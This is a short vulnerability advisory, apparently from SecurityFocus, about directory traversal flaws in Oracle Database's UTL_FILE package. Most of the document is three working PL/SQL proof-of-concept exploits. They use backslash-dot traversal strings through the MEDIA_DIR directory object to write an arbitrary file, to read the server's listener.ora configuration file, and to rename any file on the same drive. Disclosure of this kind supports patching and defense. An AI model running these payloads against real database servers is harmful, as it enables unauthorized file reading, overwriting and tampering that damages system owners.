source: https://www.securityfocus.com/bid/12749/info

Oracle Database server is reported prone to multiple directory traversal vulnerabilities that may allow a remote attacker to read, write, or rename arbitrary files with the privileges of the Oracle Database server.

The issues are reported to exist due to a lack of sufficient input validation performed on filenames and paths passed to file processing functions, and may allow a malicious SQL query to traverse outside of a directory that is described in an Oracle directory object.

--this create a file called Unbreakable.txt in the
same drive as the directory referenced by
--MEDIA_DIR directory object.
declare
f utl_file.file_type;
begin
f:=UTL_FILE.FOPEN
('MEDIA_DIR','\\.\\..\\.\\..\\.\\..\\.\\..\\.\\..\\.\\Unbreakable.txt','w',1000);
UTL_FILE.PUT_LINE (f,'Sure',TRUE);
UTL_FILE.FCLOSE(f);
end;

--this example can be used to read arbitrary files in
the same drive as the directory referenced by
--MEDIA_DIR directory object.
SET SERVEROUTPUT ON
declare
f utl_file.file_type;
sBuffer Varchar(8000);
begin
f:=UTL_FILE.FOPEN
('MEDIA_DIR','\\.\\..\\.\\..\\.\\..\\.\\..\\.\\..\\.\\OracleDir\ora90\network\ADMIN\listener.ora','r');
loop
UTL_FILE.GET_LINE (f,sBuffer);
DBMS_OUTPUT.PUT_LINE(sBuffer);
end loop;
EXCEPTION
when no_data_found then
UTL_FILE.FCLOSE(f);
end;

--this rename any file in the same drive as the
directory referenced by
--MEDIA_DIR directory object
begin

UTL_FILE.frename('MEDIA_DIR','\\.\\..\\.\\..\\.\\FileToRename','MEDIA_DIR','\\.\\..\\.\\..\\.\\Unbreakable.txt',TRUE);
end;